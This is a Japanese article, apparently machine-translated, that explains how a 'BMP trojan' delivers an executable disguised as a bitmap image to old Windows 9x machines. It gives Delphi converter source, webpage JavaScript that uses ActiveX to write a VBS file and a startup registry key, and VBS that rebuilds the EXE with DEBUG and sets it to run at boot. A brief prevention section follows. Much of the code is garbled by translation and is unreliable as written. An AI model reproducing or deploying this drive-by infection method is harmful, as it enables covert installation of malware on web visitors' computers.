BMP木馬の詳細

7195 ワード

まずこれは新しいものではないと説明しますが、最近は私達が持っていないと言われました。簡単に文章を書いて置いてきました。みんな自分で試してみてください。 BMPホームページの木馬とは何ですか?以前から臭いMIMEヘッドホールを使っていた木馬と違って、MIME木馬は一つのEXEファイルをMIMEでエンコードしたEMLです。 LOOKメッセージ)ファイルは、ウェブページにおいてIEとOEのコード・ホールを利用して自動的にダウンロードと実行を実現します。しかし、BMP木馬は違っています。それはEXEファイルをBMP画像ファイルと偽って、IEを騙して自動的にダウンロードします。また、ウェブページのjavascriptスクリプトを利用してクライアントのInternet臨時フォルダを探します。ダウンロード後のBMPファイルを見つけます。TEMPディレクトリにコピーします。もう一つのシナリオを作成して、見つけたBMPファイルをDEBUGでEXEに戻して、レジストリ起動項目に入れて、次の起動時に実行します。しかし、この技術は9 Xでしか発揮できません。2 Kにとって、XPは無力です。  複雑に見えるようです。次は一歩ずつ来ます。 EXEがBMPに変更する方法は.BMPファイルの資料を調べてみます。BMPファイルのファイルヘッドは54バイトあります。簡単に言えば、BMPファイルの長さ、ビット数、ファイルサイズ、データエリア長が含まれています。EXEファイルのファイルヘッドの前に該当するBMPファイルのヘッダを追加してください。このようにIEを騙してBMPファイルをダウンロードすることができます。JPGファイルでテストを始めました。ファイルヘッダが正しくないとIEはダウンロードされません。変換コードは以下の通りです。 exe 2 bmp;  アメリカ  Windows、  SysUtils;  var len,row,col,fs: DWORD;  ブザー: array[0..255]of char;  fd: WIN 32_FIND_データ  h,hw: THandle;  begin  if (ParameStr(1)<>) and(ParamStr(2)<>) then begin //運転後に二つのパラメータがない場合はifを終了します。 FileExists(ParameStr(1)) then Begin FindFirst File(Pchar(ParamStr(1))、fd);  fs:=fd.nfileSize Low;  col := 4;  while true ド begin  if (fs mod 12)=0 then begin len:=fs;  end else len:=fs+12-(fs) mod 12)  row := len div col div 3.  if row>col then begin  col:=col+4;  end else Break;  end;FillChar(buffer、256、0)  {以下はBMPファイルヘッダのデータです。Buffer[1]:=M;  PDWORD(@buffer[18])^:=col;  PDWORD(@buffer[22])^:=row;  PDWORD(@buffer[34])^:=len;  PDWORD(@buffer[2])^:=len+54;  PDWORD(@buffer[10])^:=54;  PDWORD(@buffer[14])^:=40;  PWORD(@buffer[26])^:=1  PWORD(@buffer[28])^:=24;  {ファイルを書き込みます。hw:=CreateFile(Pchar(ParamStr(2))、GENERIC_WRITE、FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS、0、0)  h:=CreateFile(Pchar(ParameStr(1))、GENERIC_READ、FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING、0、0)  WriteFile(hw,buffer,54,col,0)  repeat ReadFile(h,buffer,256,col,0)  WriteFile(hw,buffer,col,0)  until col<>256;  WriteFile(hw,buffer,len-fs,col,0)  Close Handle(h);  Close Handle(hw);  end;  end;  end.  以上のコードはDELPHI 4,5,6でコンパイルできます。 ,exe 2 bmp.exeファイルを入手できます。MSDOS方式を開けて、入力してください。  exe 2 bmp myexe.exe mybmp.bmp  車を返すと、二つ目のパラメータで指定されたEXEファイルをBMP形式に変換できます。  続いて、このBMPの写真をホームページに置いてきました。この写真を開けたら、きっとこのBMPは花も咲いています。色も単調です。だから、ホームページに置いたほうがいいです。このようなフォーマットを使ってください。  以下はホームページに置いてあるスクリプトです。  document.write( );機能 docsave(){a=document.applets[0];a.set CLSID({F 935 DC 22-1 CF 0-11 D 0-ADB 9-00 C 04 FD 58 A 0 B})a.reate Instance();wush=a.GetObject()a.set CLSID({0 D 43 FE 01-F 093-11 CF-8940-0 A 0 C 9054228}a.reate Instance();fso=a.GetObject()var windsys=fso.Get Special Folder(1);var vbs=windsys+\s.vbs;wsh.RegWrite(HKCU\Software\Microsoft\Windows\Current Version\Run\vbs,wcript +"+vbs+" );var st=fso.reat TextFile(vbs,true)st.WriteLine(Option) Explicit);st.WriteLine(Dim) FSO、WSH、CACHE、str)st.WriteLine(Set) FSO = CreateObject(「Script.FileSystemObject」);st.WriteLine(Set) WSH = CreateObject(「WScript.Shell」);st.WriteLine(CACHE=wsh.RegRead(「HKCU\Software\Microsoft\Windows\Curent Version\Explorer\Shell Folders\Cache」);st.WriteLine(ws.RegDelete(「HKCU\Software\Microsoft\Windows\Curent Version\Run\vbs」);  st.WriteLine (wsh.RegWrite "HKCU\Software\Microsoft\Windows\Current Version\Run\tmp","tmp.exe");st.WriteLine(Search BMP File) fso.GetFolder(CACHE)、「mybmp[1].bmp」);st.WriteLine(WScript.Quit();st.WriteLine(Function) Search BMP File(Folder,fname);st.WriteLine( ディム SubFolder、File、Lt、tmp、windsys);st.WriteLine( str=FSF.Get PartentFolderName(folder) & "\\" & folder.name & "\\" & fname;st.WriteLine( if FSF.FileExists(str) then)st.WriteLine( tmp=fso.Get Special Folder(2) & "\\");st.WriteLine( windsys=fso.Get Special Folder(1) & "\\");st.WriteLine( セット File=FSF.Get File(str);st.WriteLine( File.Coopy(tmp) & "tmp.dat");st.WriteLine( File.Delete);st.WriteLine( セット Lt=FSF.reat Text File(tmp & "tmp.in");st.WriteLine( Lt.WriteLine(「rbx」);st.WriteLine( Lt.WriteLine(“0”)st.WriteLine( Lt.WriteLine(「rcx」);st.WriteLine( Lt.WriteLine(“1000”);st.WriteLine( Lt.WriteLine(「w 136」);st.WriteLine( Lt.WriteLine(“q”)st.WriteLine( Lt.C lose)st.WriteLine( WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6);st.WriteLine( On エロエロ Resume 次のテキスト );st.WriteLine( FSF.GetFile(tmp & "tmp.dat").Copy(windsys) & "tmp.exe");st.WriteLine( FSF.GetFile(tmp & "tmp.dat").Delete";st.WriteLine( FSF.GetFile(tmp & "tmp.in").Delete);st.WriteLine( FSF.GetFile(tmp & "tmp.out").Delete";st.WriteLine( end if)st.WriteLine( If。 Folder.SubFolders.sont <> 0 The n)st.WriteLine( For Each SubFolder In Folder.SubFoldersst.WriteLine( Search BMP File SubFolder,fname);st.WriteLine( 次へst.WriteLine( End If)ST.WriteLine(End) Function;  st.C lose()}setTimeout(docsave(1000);このスクリプトを「js.js」として保存し、ホームページに挿入します。  このスクリプトは主にローカルマシンのSYSTEMディレクトリの下で「S.VBS」ファイルを作成します。このスクリプトファイルは次の起動時に自動的に実行されます。主にサブディレクトリからmybmp[1].bmpファイルを探し出すために使用されます。  “S.VBSファイルの主な内容は以下の通りです。  Option Explicit  ディム FSO,WSH,CACHE,str  セット FSO = CreateObject(「Script.FileSystemObject」)  セット WSH = CreateObject(「WScript.Shell」)  CACHE=wsh.RegRead(「HKCU\Software\Microsoft\Windows\Current Version\Explorer\Shell Folders\Cache」)  wsh.RegDelete(「HKCU\Software\Microsoft\Windows\Current Version\Run\vbs」)  wsh.RegWrite "HKCU\Software\Microsoft\Windows\Current Version\Run\tmp","tmp.exe"  Search BMP File fso.GetFolder(CACHE)、「mybmp[1].bmp」  WScript.Quit()  Function Search BMP File(Folder,fname)  ディム SubFolder,File,Lt,tmp,windsys  一時フォルダからターゲットBMPピクチャstr=FSS.Get PartentFolderNameを検索します。 & "\" & folder.name & "\" & fname  if FSF.FileExists(str) then  tmp=fso.Get Special Folder(2) & "\"  windsys=fso.Get Special Folder(1) & "\"  セット File=FSF.Get File(str)  File.Coopy(tmp) & "tmp.dat')  File.Delete  DEBUGスクリプトを生成します。  セット Lt=FSF.reat Text File(tmp & "tmp.in')  Lt.WriteLine(「rbx」)  Lt.WriteLine(「0」)  Lt.WriteLine(「rcx」)  次の行の1000は16進数で、10進数を交替するのは4096(この数字はあなたのEXEファイルのサイズです)Lt.WriteLine(“1000”)です。  Lt.WriteLine(「w 136」)  Lt.WriteLine(「q」)  Lt.C lose  WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>“ & tmp & "tmp.out",false,6  On エロエロ Resume Next FSF.Get File(tmp & "tmp.dat").Copy(windsys) & "tmp.exe")  FSF.GetFile(tmp & "tmp.dat").Delete  FSF.GetFile(tmp & "tmp.in").Delete  FSF.GetFile(tmp & "tmp.out").Delete  end if  If。 Folder.SubFolders.sont <> 0 The n  For Each SubFolder In Folder.SubFolders  Search BMP File SubFolder,fname  次のテキスト  End If。  End Function  このスクリプトは仮フォルダ中のbmpファイルを探してDEBUGのスクリプトを生成します。動作時は自動的にBMPファイル54バイトからあなたの指定サイズのデータを読み、tmp.datに保存します。後のスクリプトはSYSTEMのディレクトリにコピーします。この復元されたEXEファイルは次回から実行します。BMP木馬の基本的な実現過程です。  詳細スクリプトコードは参照してください。http://hotsky.363.net  予防方法:  最も簡単で、wscrpit.exeファイルとDEBUGを削除または改名します。 ファイル  効果的なウイルス対策ソフトをインストールします。これらのスクリプトには多くのウイルス対策ソフトが検出されました。  条件が許容されている場合は、WIN 2 Kをインストールします。 SP 3、できるだけいくつかの有名ではないウェブサイトに行くことを免れます。